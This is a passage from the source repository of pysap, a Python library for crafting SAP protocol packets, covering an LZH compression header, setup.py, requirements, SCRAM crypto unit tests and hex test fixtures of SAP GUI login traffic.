Walldorf 29 | * Systeme, Anwendungen und Produkte in der Datenverarbeitung 30 | * 31 | */ 32 | 33 | /*--------------------------------------------------------------------*/ 34 | /* Internal Header File */ 35 | /* */ 36 | /* Definitions for LZH Algorithm */ 37 | /* Lempel-Ziv-Huffman */ 38 | /*--------------------------------------------------------------------*/ 39 | 40 | #ifndef CSLZH_INCL /* cannot be included twice .................*/ 41 | #define CSLZH_INCL 42 | 43 | #define REGISTER register 44 | 45 | /* The minimum and maximum match lengths .............................*/ 46 | #define MIN_MATCH 3 47 | #define MAX_MATCH 258 48 | 49 | /* Minimum amount of lookahead, except at the end of the input file ..*/ 50 | #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) 51 | 52 | /* In order to simplify the code, particularly on 16 bit machines, match 53 | * distances are limited to MAX_DIST instead of WSIZE. ...............*/ 54 | #define MAX_DIST (WSIZE-MIN_LOOKAHEAD) 55 | 56 | #define NONSENSE_LENBITS 2 57 | 58 | #define EODATA (-1) 59 | 60 | /* Maximum window size = 32K (must be a power of 2) ..................*/ 61 | #define WSIZE ((unsigned) 0x4000) /* 16K */ 62 | 63 | #define CS_HASH_BITS 14 64 | 65 | #define CS_HASH_SIZE (unsigned)(1 << CS_HASH_BITS) 66 | 67 | #define CS_LIT_BUFSIZE (unsigned) 0x4000 /* 16K */ 68 | #define CS_DIST_BUFSIZE CS_LIT_BUFSIZE 69 | 70 | #define HASH_MASK (CS_HASH_SIZE-1) 71 | #define WMASK (WSIZE-1) 72 | 73 | /* Configuration parameters ..........................................*/ 74 | /* speed options for the general purpose bit flag */ 75 | #define FAST_PA107 4 76 | #define SLOW_PA107 0 77 | 78 | /* Matches of length 3 are discarded if their distance exceeds TOO_FAR*/ 79 | #ifndef TOO_FAR 80 | #define TOO_FAR 4096 81 | #endif 82 | 83 | /* Types centralized here for easy modification ......................*/ 84 | typedef SAP_BYTE uch; /* unsigned 8-bit value ................*/ 85 | typedef SAP_USHORT ush; /* unsigned 16-bit value ................*/ 86 | typedef SAP_UINT ulg; /* unsigned 32-bit value ................*/ 87 | 88 | 89 | #endif /* CSLZH_INCL */ 90 | 91 | -------------------------------------------------------------------------------- /requirements-docs.txt: -------------------------------------------------------------------------------- 1 | Sphinx==1.8.5 2 | ipykernel 3 | nbsphinx==0.5.1 4 | pyx==0.12.1 5 | ipython<6.0 6 | m2r==0.2.1 7 | mistune==0.8.4 8 | -------------------------------------------------------------------------------- /requirements-examples.txt: -------------------------------------------------------------------------------- 1 | tabulate==0.8.9 2 | netaddr==0.8.0 3 | PyJWT==1.7.1 4 | requests -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy==2.4.4 2 | cryptography==2.9.2 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # encoding: utf-8 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # Author: 16 | # Martin Gallo (@martingalloar) 17 | # Code contributed by SecureAuth to the OWASP CBAS project 18 | # 19 | 20 | # Standard imports 21 | from sys import exit 22 | from glob import glob 23 | from subprocess import call 24 | from setuptools import setup, Extension, Command 25 | # Custom imports 26 | import pysap 27 | 28 | 29 | class DocumentationCommand(Command): 30 | """Custom command for building the documentation with Sphinx. 31 | """ 32 | 33 | description = "Builds the documentation using Sphinx" 34 | user_options = [] 35 | 36 | def initialize_options(self): 37 | pass 38 | 39 | def finalize_options(self): 40 | pass 41 | 42 | def run(self): 43 | """Runs Sphinx 44 | """ 45 | exit(call("cd docs && make html", shell=True)) 46 | 47 | 48 | class PreExecuteNotebooksCommand(Command): 49 | """Custom command for pre-executing Jupyther notebooks included in the documentation. 50 | """ 51 | 52 | description = "Pre-executes Jupyther notebooks included in the documentation" 53 | user_options = [ 54 | ('notebooks=', 'n', "patterns to match (i.e. 'protocols/SAPDiag*')"), 55 | ] 56 | 57 | def initialize_options(self): 58 | """Initialize options with default values.""" 59 | self.notebooks = None 60 | 61 | def finalize_options(self): 62 | """Check and expand provided values.""" 63 | base_path = "docs/" 64 | if self.notebooks: 65 | self.notebooks = glob(base_path + self.notebooks) 66 | else: 67 | self.notebooks = glob(base_path + "protocols/*.ipynb") 68 | self.notebooks.extend(glob(base_path + "fileformats/*.ipynb")) 69 | 70 | def run(self): 71 | """Pre executes notebooks.""" 72 | status = 0 73 | for notebook in self.notebooks: 74 | status |= call("jupyter nbconvert --inplace --to notebook --execute {}".format(notebook), shell=True) 75 | exit(status) 76 | 77 | 78 | sapcompress_macros = [ 79 | # Enable this macro if you want some debugging information on the (de)compression functions 80 | # ('DEBUG', None), 81 | # Enable this macro if you want detailed debugging information (hexdumps) on the (de)compression functions 82 | # ('DEBUG_TRACE', None), 83 | ] 84 | 85 | 86 | sapcompress = Extension('pysapcompress', 87 | ['pysapcompress/pysapcompress.cpp', 88 | 'pysapcompress/vpa105CsObjInt.cpp', 89 | 'pysapcompress/vpa106cslzc.cpp', 90 | 'pysapcompress/vpa107cslzh.cpp', 91 | 'pysapcompress/vpa108csulzh.cpp'], 92 | define_macros=sapcompress_macros) 93 | 94 | 95 | with open("README.md", "r") as fh: 96 | long_description = fh.read() 97 | 98 | 99 | setup(name=pysap.__title__, # Package information 100 | version=pysap.__version__, 101 | author='Martin Gallo, OWASP CBAS Project', 102 | author_email='martin.gallo@gmail.com', 103 | description='Python library for crafting SAP\'s network protocols packets', 104 | long_description=long_description, 105 | long_description_content_type="text/markdown", 106 | url=pysap.__url__, 107 | download_url=pysap.__url__, 108 | license=pysap.__license__, 109 | classifiers=['Development Status :: 3 - Alpha', 110 | 'Intended Audience :: Developers', 111 | 'Intended Audience :: Information Technology', 112 | 'Intended Audience :: System Administrators', 113 | 'License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)', 114 | 'Programming Language :: Python', 115 | 'Programming Language :: C++', 116 | 'Topic :: Security'], 117 | # Packages list 118 | packages=['pysap', 'pysap.utils', 'pysap.utils.crypto'], 119 | provides=['pysapcompress', 'pysap'], 120 | 121 | # Extension module compilation 122 | ext_modules=[sapcompress], 123 | 124 | # Script files 125 | scripts=['bin/pysapcar', 'bin/pysapgenpse'], 126 | 127 | # Tests command 128 | test_suite='tests.test_suite', 129 | 130 | # Documentation commands 131 | cmdclass={'doc': DocumentationCommand, 132 | 'notebooks': PreExecuteNotebooksCommand}, 133 | 134 | # Requirements 135 | install_requires=open('requirements.txt').read().splitlines(), 136 | 137 | # Optional requirements for docs and some examples 138 | extras_require={"docs": open('requirements-docs.txt').read().splitlines(), 139 | "examples": open('requirements-examples.txt').read().splitlines()}, 140 | ) 141 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | import sys 21 | import unittest 22 | 23 | 24 | test_suite = unittest.defaultTestLoader.discover('.', '*_test.py') 25 | 26 | 27 | if __name__ == '__main__': 28 | test_runner = unittest.TextTestRunner(verbosity=2, resultclass=unittest.TextTestResult) 29 | result = test_runner.run(test_suite) 30 | sys.exit(not result.wasSuccessful()) 31 | -------------------------------------------------------------------------------- /tests/crypto_test.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | import unittest 21 | # External imports 22 | from cryptography.hazmat.backends import default_backend 23 | # Custom imports 24 | from pysap.utils.crypto import SCRAM_SHA256, SCRAM_PBKDF2SHA256 25 | 26 | 27 | class PySAPCryptoUtilsTest(unittest.TestCase): 28 | 29 | def test_scram_sha256_scramble_salt(self): 30 | """Test SCRAM SHA256 scramble salt calculation. 31 | 32 | Values are taken from https://github.com/SAP/PyHDB/blob/master/tests/test_auth.py 33 | """ 34 | 35 | password = "secret" 36 | salt = b"\x80\x96\x4f\xa8\x54\x28\xae\x3a\x81\xac" \ 37 | b"\xd3\xe6\x86\xa2\x79\x33" 38 | server_key = b"\x41\x06\x51\x50\x11\x7e\x45\x5f\xec\x2f\x03\xf6" \ 39 | b"\xf4\x7c\x19\xd4\x05\xad\xe5\x0d\xd6\x57\x31\xdc" \ 40 | b"\x0f\xb3\xf7\x95\x4d\xb6\x2c\x8a\xa6\x7a\x7e\x82" \ 41 | b"\x5e\x13\x00\xbe\xe9\x75\xe7\x45\x18\x23\x8c\x9a" 42 | client_key = b"\xed\xbd\x7c\xc8\xb2\xf2\x64\x89\xd6\x5a\x7c\xd5" \ 43 | b"\x1e\x27\xf2\xe7\x3f\xca\x22\x7d\x1a\xb6\xaa\xfc" \ 44 | b"\xac\x0f\x42\x8c\xa4\xd8\xe1\x0c\x19\xe3\xe3\x8f" \ 45 | b"\x3a\xac\x51\x07\x5e\x67\xbb\xe5\x2f\xdb\x61\x03" \ 46 | b"\xa7\xc3\x4c\x8a\x70\x90\x8e\xd5\xbe\x0b\x35\x42" \ 47 | b"\x70\x5f\x73\x8c" 48 | expected_scrambled_salt = b"\xe4\x7d\x8f\x24\x48\x55\xb9\x2d\xc9\x66\x39\x5d" \ 49 | b"\x0d\x28\x25\x47\xb5\x4d\xfd\x09\x61\x4d\x44\x37\x4d\xf9\x4f" \ 50 | b"\x29\x3c\x1a\x02\x0e" 51 | 52 | scram = SCRAM_SHA256(default_backend()) 53 | scrambled_salt = scram.scramble_salt(password, salt, server_key, client_key) 54 | self.assertEqual(len(expected_scrambled_salt), len(scrambled_salt)) 55 | self.assertEqual(expected_scrambled_salt, scrambled_salt) 56 | 57 | def test_scram_pbkdf2sha256_scramble_salt(self): 58 | """Test SCRAM-PBKDF2-SHA256 scramble salt calculation. 59 | 60 | Values are taken from https://github.com/SAP/go-hdb/blob/master/internal/protocol/authentication_test.go 61 | """ 62 | 63 | password = "Toor1234" 64 | rounds = 15000 65 | salt = b"3\xb2\xd5\xd5\\R\xc2(Px\xc5[\xa6C\x17?" 66 | server_key = b" [\xa5\x12\x9eM\x86E\x80\x9dE\xd1/!\xab\xa48\xac\xe5\x00\x99\x03A\x1d\xef\xd2\xba\x86Q \x1d\x89\xef\xa7'\x01\xabuU\x8am&*M+*RF" 67 | client_key = b'\x89\x9c\xb6<\x9e\x8a]gP\xca6\xbf\xd2N\x8e\xcf\xd2\xb0\x9d\x81\x80\x13\x87\x00\x7f\x1a:\xc5\xbc\xd8y\x1ax\xc4"\x8a\x05\x08: $\xf0\xc7~\xa4p@#.f\xff\xf9~\xfa\x18g\xc6\x98!K\x06\xb3\xbb\xe6' 68 | expected_scrambled_salt = b'\xfd\xb5e\x00\xd6\xde\x19cb\xfd\x8dj&\xff\x10\x99"J\xd3F\x15[G\xdf\xaa$\xf9|\x01\x87\xb0%' 69 | 70 | scram = SCRAM_PBKDF2SHA256(default_backend()) 71 | scrambled_salt = scram.scramble_salt(password, salt, server_key, client_key, rounds) 72 | self.assertEqual(len(expected_scrambled_salt), len(scrambled_salt)) 73 | self.assertEqual(expected_scrambled_salt, scrambled_salt) 74 | 75 | 76 | def test_suite(): 77 | loader = unittest.TestLoader() 78 | suite = unittest.TestSuite() 79 | suite.addTest(loader.loadTestsFromTestCase(PySAPCryptoUtilsTest)) 80 | return suite 81 | 82 | 83 | if __name__ == "__main__": 84 | unittest.TextTestRunner(verbosity=2).run(test_suite()) 85 | -------------------------------------------------------------------------------- /tests/data/car200_test_string.sar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/car200_test_string.sar -------------------------------------------------------------------------------- /tests/data/car201_test_string.sar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/car201_test_string.sar -------------------------------------------------------------------------------- /tests/data/credv2_lps_off_v0_3des: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_off_v0_3des -------------------------------------------------------------------------------- /tests/data/credv2_lps_off_v0_dp_3des: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_off_v0_dp_3des -------------------------------------------------------------------------------- /tests/data/credv2_lps_off_v1_3des: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_off_v1_3des -------------------------------------------------------------------------------- /tests/data/credv2_lps_off_v1_aes256: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_off_v1_aes256 -------------------------------------------------------------------------------- /tests/data/credv2_lps_off_v1_dp_aes256: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_off_v1_dp_aes256 -------------------------------------------------------------------------------- /tests/data/credv2_lps_on_v2_dp_aes256: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_on_v2_dp_aes256 -------------------------------------------------------------------------------- /tests/data/credv2_lps_on_v2_int_aes256: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_on_v2_int_aes256 -------------------------------------------------------------------------------- /tests/data/credv2_lps_on_v2_int_aes256_composed_subject: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/credv2_lps_on_v2_int_aes256_composed_subject -------------------------------------------------------------------------------- /tests/data/invalid_read_testcase.data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/invalid_read_testcase.data -------------------------------------------------------------------------------- /tests/data/invalid_write_testcase.data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/invalid_write_testcase.data -------------------------------------------------------------------------------- /tests/data/nw_703_login_screen_compressed.data: -------------------------------------------------------------------------------- 1 | 3c1a0000 121f9d02 2 | 946675bf 715c55fc cca7d7eb b5bb71d3 3 | a681b49e c48eeb04 d9d9aff8 a34425eb 4 | f53a4ee5 af78ed04 54a46ab2 7bed0c59 5 | cf2c33b3 fee005a9 e20f2802 8977f80f 6 | 78c9bfd0 47de9178 a0522554 81849078 7 | e00138e7 ccc7bd4e a11662a2 78f7fcee 8 | b9e79eef 7bc62edb 57c0f9d7 4fff317e 9 | f66ae90f 27eff8bf b8fdeaad 5f7d15fd 10 | f3abdf3f f9f3cf75 489eb23d 0d65fc98 11 | d01ad56a 0586f1e1 fc328233 6035aa95 12 | 3a7ebb09 4e636d75 e97ebd5d 5faa5797 13 | d6abab95 66bd51af 542aadda 4abdd9a8 14 | add7cbb6 0ec67667 b76c1b30 de69ee6e 15 | 3f5baad4 2b8df9c5 46d9be0e 3a5c29db 16 | 1a7ea0b0 62f23105 93dad6ab ce17d1b5 17 | bffef637 2d28ddf9 60f56f5a d97e0757 18 | 1f96ed5b 60269add 86e2fe5e 73adddd9 19 | d87986e4 1d18470d 60a956a9 40ad5245 20 | e46de434 7ef759d9 9ce52d28 a204066a 21 | 56b6df84 82866cb3 1592f326 8c69c83f 22 | bb0e5527 a76b44d7 245d27ba 9ed13ad1 23 | 4d98ddcc d71bb4de 90fcf789 be2ff991 24 | 6ec1b65c 5fa4f545 492f11bd 24e965a2 25 | 9725bd42 f44a4e63 2c48df5c ff6a95e4 26 | 77f2f3aa 893dd57c 9dedc19f 4c1774a2 27 | db0931a1 55d1988e 6a3f428d 14ca5c80 28 | d0fd14ca bc80d062 0a658623 b4944299 29 | ed082da7 50662e42 2b299459 3ca1d52a 30 | 2994198d 50358532 bb11aa31 d4828a84 31 | 72edab39 94699f19 8c1007e0 828db5c5 32 | 149236d6 965248da 585b4e21 69636d25 33 | 85a48df5 4a0a491b ebd51492 36d66b29 34 | 246dacd7 5348da58 6f64aa56 7228d73e 35 | b7b19e69 9fd97845 ab27da27 963b39ba 36 | 2cd1cc52 4457249a 197b456b 54249ad9 37 | 8b6855a2 99c988d6 249a598d 685da299 38 | e1883624 9ad98ee8 7d8966e6 23ba28d1 39 | cc0388aa b6557354 b12df3c3 98b6c456 40 | b49d9c66 fdd725cd 9a3725cd 3aaf499a 41 | b595c5ba c47aee48 3a49fbb5 9c4e747b 42 | 9cd349c2 4b7a859b c56a462f 275e4ead 43 | 2868cb55 9540e572 4b965933 8566cd1e 44 | e59a2cb3 667b9266 dfeda6f4 84b69217 45 | 023bf22a 8c62cb6b fbb10899 1ac36377 46 | dd23e10c 074c8fe3 494cf782 539f9189 47 | d93aac7b 61143b03 c453a801 bba13859 48 | 90d0f8ec 7dd81667 0ad3f8ec 226cbaea 49 | b6117441 b31fa7e7 aec2aadb 7d190d16 50 | 982ea0d2 ad38eca7 8c6bb026 b2ef6d68 51 | 475dfe6e a119eb29 fb6378ec 47c9de71 52 | 6cc2cd30 0c4e9d07 f3f3a98d 1de8bcf0 53 | 0ee92c1b ef8ccfcb f608cc74 b0f13b97 54 | 3c1af073 33f980eb 2fcba511 bafee03a 55 | fe7f997d 96cd6f81 b65036bf 0d7a7bbb 56 | 6cde8092 2aa35c2a c255bce5 9cbd7b75 57 | 67ae7ac7 c19b2f59 b0df8039 5cd8eafc 58 | a0b3afee f84f4fd9 2ec3d54a a556f9fa 59 | c2f8ff22 65024c92 323946a6 3d851bf4 60 | f136a476 f2731061 321ce097 f7745ed3 61 | 95b5ce79 148b6338 c7af370c 5e3594d5 62 | 0dd11fc0 06c0e418 ee297d06 ef692857 63 | ef698af4 cde0c809 7cc06b12 6634e49a 64 | b43445fe b638c5fc 88a2d320 ecc13602 65 | 531aca9f 7c43534e 61098787 b083df67 66 | 7512ddd3 95035aa1 7063e174 44147978 67 | 105e6930 adebcca5 1cd4f67b 390b562d 68 | cce87882 ddd39573 c80dce6e 181c7a7d 69 | c1ee7074 93794cc9 d311e189 d7151160 70 | 65c34ddd e2754bae 1fc45edf 8b3d6420 71 | 836fe836 33d89261 d38b62d8 c72fdfd1 72 | 4780741c 916b9970 e730089d 9de73f12 73 | dd18f610 bfa51758 4c41b26e 9da70c11 74 | bbe5ae3e 0a246c54 72ec9cfa 4e671004 75 | 7d674ffc 782822e4 dc05b2a9 c89cc58b 76 | 9c1f05cf 237886c4 6d7d8cd7 c7e47ae7 77 | 4510c6ce 163a8f0a 790bc8f0 12339514 78 | a6d88d87 d1c2c202 74909ad2 c7290fe8 79 | 67f66451 5c07da6f 68b4df90 61dc08fa 80 | 3d67cd8d 5d4a27d4 d2d09941 46b023e2 81 | 649de44f eb86c1eb 327cd82f 04a601b3 82 | 6c26224c 6691d123 43799d5c 36a71b16 83 | afcbe8b5 cf062ea6 c9ba7b12 845e8c31 84 | 4c743559 5753eaba 2706e811 cf3fe2e8 85 | 4ceb26eb 6a4a5d9f 0cbdeecb a79e38c5 86 | ba7a0294 b526ab6b 4a757786 f160183b 87 | adc08fc3 a0cf1add d14d93d3 4d6abcef 88 | 3eef0b67 cbf5b05f fbaedf15 9c3a78a2 89 | c58c52f5 5537eebe 701efb28 9353f396 90 | 6edacc22 536f9d7a 3136fef0 9ced9ad1 91 | cd11d649 26e09a17 6246a552 a8486ee8 92 | 6681a5c8 cce344c1 6b0cded5 cd51de2f 93 | 73eec950 0c93ca41 0d8bbc28 d38cfa61 94 | 9ae01cc2 1adaa911 8b746cfb 0cadec89 95 | 9ef375b3 a9aa2bc8 abf38edc d3e463a7 96 | d51f628f 0a2ff03f 052e5f8b 4fb0f213 97 | d20e10b1 3cb4ce62 79562e0f 93344ab3 98 | c7b40c5e cb43b627 bad8a430 a22d24ae 99 | e18a59a0 75a53950 519b96c5 dbf2d0ec 100 | 61e9b958 3ffba1eb 476e37a6 06446973 101 | 17996c66 cd4394a6 b0ca49e1 9e439e11 102 | e6cc43c5 37adca47 ad93742a b04e4aa3 103 | 00984760 94b7e791 c226876d 26723cdf 104 | 590f4271 140643bf c7512103 8acc9c47 105 | 6ecd8b06 7df7dc69 e30d1b46 ce8edf3f 106 | e7e4c0a4 b6c69835 ef155840 825a45d0 107 | 13c807df 47e87d5c 2f3157de 2c2e70a5 108 | 7d9d741f 67dd9596 41179269 4df0ee89 109 | 0c6a517c fbd0040e 92cd01b6 f300bf1e 110 | 245b27a1 b67aa391 436c8ead 9dc7f61b 111 | 1d629bcc 9c07fabf 39848eb3 f838e542 112 | 601b6c0e b49d075a b1010bb5 c0361472 113 | 1bd6c4a1 e70b6ac9 5c6833b8 c6695ac8 114 | adc02567 e7848a49 9cc247cc 63719392 115 | 998e529e 0f8f9c4e 3714c24f e365719f 116 | 92d99ef0 1c612373 9aabcd5d 2e0a94c4 117 | ad4ae67d 26291904 561349dc 5a95dcc7 118 | 2c0f8661 5738077c 4990e71e e8163758 119 | 590ad01c c6c1f182 c37de203 94e8775f 120 | 84811f0c 23270d00 f554ea1f 7774aa8a 121 | 9e2e6b03 764588d7 e231798e 321f6b7c 122 | 17e8bab2 b88bc9d2 006aa969 792013e5 123 | c19c6e71 1b53ea62 6fe8c7de b1709abe 124 | db3f8fbc a4e8ebba c52d4d16 4a1e6bd4 125 | 1c6f41ef 272e559b d37a21ba 2f397cef 126 | eb582824 5a36ba2d 711c84e7 5232b5e3 127 | 293c9ba2 6cc928b7 cf447718 0b2e121c 128 | 2438c496 0c71e7d4 a38e8e55 44bebc85 129 | 4b0633e4 61c918b0 80e8de5e 4015f884 130 | 627e423a 18a5fa74 7c7710bd 08629657 131 | 413e3eb0 981fd80a 8e076ef8 35f6646a 132 | 7857b739 bf64a161 c960b7e5 c529dde6 133 | c452aa6c ddf37b34 0bd04583 4390c143 134 | 90cca88e 7b22d87d b8c69924 8b0b5b34 135 | 565e32c4 d99c3f4a 35d1f0e4 6c08970a 136 | 9c02368b 42c9685b 0e12e80f bc61b08a 137 | fbc8940c 4728c8d0 992b5730 b9c13145 138 | 8448272c db309825 577233e8 ba7d679d 139 | 66418ae0 ac5e600f c8004232 80391ba8 140 | 147a8c8f 9ad10bec 0a194768 f7bc389f 141 | d5a87ae6 58d99e32 fb407330 e87bdd24 142 | b778a466 fb59dd9e 3202f11d bae93d0f 143 | 5d3c8ec2 e8b0ba3d 650a8247 fd00e734 144 | 5c7f84c4 351a7e0a 3d6504e2 e736cf3c 145 | 3d65f241 87f4851b 09673ba0 b9875c72 146 | cdb079af 32bbd273 cfe0b1d5 50c75679 147 | b3e31d1c be143196 4c3709f0 35a3c052 148 | 2edc4898 ad06cfab 8632af66 63fc7030 149 | 50c74dee e3469185 28332b3d d3068faa 150 | 863aaa8a 98e6329e 43b7e9b5 843c730f 151 | ffe1a336 a2d75e3c 2e529363 e4af264c 152 | 6bbc4bd9 f4daaef4 85497f43 09653ee7 153 | e2cb7669 140c744e 19bb72fa c2453fae 154 | 7c2c99cb 251b6e12 86ff3f56 3eb3875f 155 | 36b532d6 b4f4d4e4 281e6a3c 86dba0ff 156 | 2c958a22 262761b2 d5f7841f ab6f7ff0 157 | 0ee861c6 b447ef8b f35bcded b57dd407 158 | 3e4df0ab 0f519a41 bf14ad22 378419aa 159 | 72636a9f 65f8036c d5747f9f 3f778f3e 160 | 7c807795 3becc7fb f89e117b 830f130d 161 | 1edc7b0d 7e704fdd 849a1bac b99e6bce 162 | af5e171e d4c50833 a64497d5 ede6561b 163 | a640fb34 c149f352 094adfbb b84d0bb3 164 | 6575db1e 686719fe 8d26b02a be7b2c2e 165 | b3e29199 5861b015 8d49683c fce19383 166 | 8113074e a3825784 8bb3c15c 0b8b6a1e 167 | 5b5ab470 e7e16e9a 388abaa4 b099d869 168 | 483b5b3b 6b6df8ae 99d869c0 55ec1a73 169 | 259853ed fca60745 6a61b655 15f9d44c 170 | 7c40f8e5 3ec8f2fc f2682679 68e5d1c4 171 | 12c046b6 e9fa4743 2ce144a5 340faddc 172 | cacde6f6 a303782b cd438ba3 892fec3a 173 | 33439881 2af3b334 0dadcb62 7851814b 174 | 0cb8585d e5a20558 60369e33 0563e5a2 175 | 0dd7f75b 9f3c3ee8 ec355b9b 90fdd605 176 | e8372a50 1e1d8322 fddde22a 6f9d3451 177 | 71f8f2ee fec65d03 bec466d1 d9bd77e1 178 | 6f1d9f20 f289fc15 146879c8 fecf07b4 179 | cbce7aed 0f348dd7 ff4083df d162fe33 180 | cb7b5ffc f2ef7ffa f55f4ea6 5bb9532e 181 | 3e7f240b 4bff0600 -------------------------------------------------------------------------------- /tests/data/pse_v2_lps_off_pbes1_3des_sha1.pse: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/pse_v2_lps_off_pbes1_3des_sha1.pse -------------------------------------------------------------------------------- /tests/data/pse_v4_lps_off_pbes1_3des_sha1.pse: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/pse_v4_lps_off_pbes1_3des_sha1.pse -------------------------------------------------------------------------------- /tests/data/sapgui_730_login_compressed.data: -------------------------------------------------------------------------------- 1 | 95020000 121f9d02 2 | ad7a8a7f9a8682f0bdf1609d367a8b0482c6f8e8c42089dd6bcbec4c3ab0c242fac3b68661dce24f4bdb9106d7927603fdcdf8bff27f785d19814b2e77effbdedd771ff20fc00180311f1e47e30e390705b6a00a0855e4efe901fc3540f52ff26da880867c8b4a1d371af403f0053b340c098bf9f4531b90bf03bd1707599aa7d3b9f81127617a9b8b912f5aba21f6cdcf527e14c328bb898348f893e04a58c805d4bdae68eb5227dad08db62d4de4bba00ca6d3e29f44be478a0c790dd66c8b9e6f8119c85f160ef802f90eb180eb8cae5e7fe2e63e50558a532b0dcabb554575037689ac53fe7c5457b14379c5f01983da0386b50a98b00dec1f30da019b5fe90015d4a1eb1fc01b5ec26bb0f90d405161df9fe4f9adcc42ac3d07da4304ed500a25f6ca39fe3dfb256ea22c8fd3a4a319bad4449404691827971d2d9f5c1f68c747c239752fdc9edb77cfbae747423827037f2ce2b0a305e9f51f8d10e19c7df796c8e5225e02c2e9752fcebd93e1129d45f32c0e724d8c0cd1d16caa92aa65179d459df1c524e1915992e3a29a26354b4eb6881b3f0c8c8b15464b6b9632a75eafdb1f7a837ea914c6b32829cce4f722a6bd9a3eb4ca19a749c716369a850f72d77c624ffd0f00 -------------------------------------------------------------------------------- /tests/data/sapgui_730_login_decompressed.data: -------------------------------------------------------------------------------- 1 | 10042600040000000101500000000000000000000000000023e51004040008001600070010000710042400080000041a00000780100417000200221004160002001110062300100000100e0134313130007574662d380010041f002e4d6963726f736f66742057696e646f777320585020352e31202832363030292053657276696365205061636b20331004200011494520382e302e363030312e313837303210042100084f6666696365203010042500020001100409000337333010041d00013110040f00040000047510041900020000100501001600050000000000000000000000000000000000000000100c08001000000223000002e500000223000002e5100c060021000000110000005b000000110000005b0000000000000000000000190000006b01100a0100090000000000000000001009020032001700018200010000020014400000040c000c5341502a001b04018200010000030014420000080c0028506173737730726410090b000a0100030014000000080011000001133c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227361702a223f3e203c444154414d414e414745523e20203c434f50592069643d22636f7079223e2020203c4755492069643d22677569223e202020203c4d4554524943532069643d226d65747269637322205831203d223722205830203d2233373722205833203d223139323022205832203d223722205932203d22323222205933203d223130353022205930203d2233373722205931203d223135222f3e202020203c44494d454e53494f4e532069643d2264696d656e73696f6e7322205830203d2232373022205930203d223433222f3e2020203c2f4755493e20203c2f434f50593e203c2f444154414d414e414745523e200c -------------------------------------------------------------------------------- /tests/data/ssfs_hdb_dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/ssfs_hdb_dat -------------------------------------------------------------------------------- /tests/data/ssfs_hdb_key: -------------------------------------------------------------------------------- 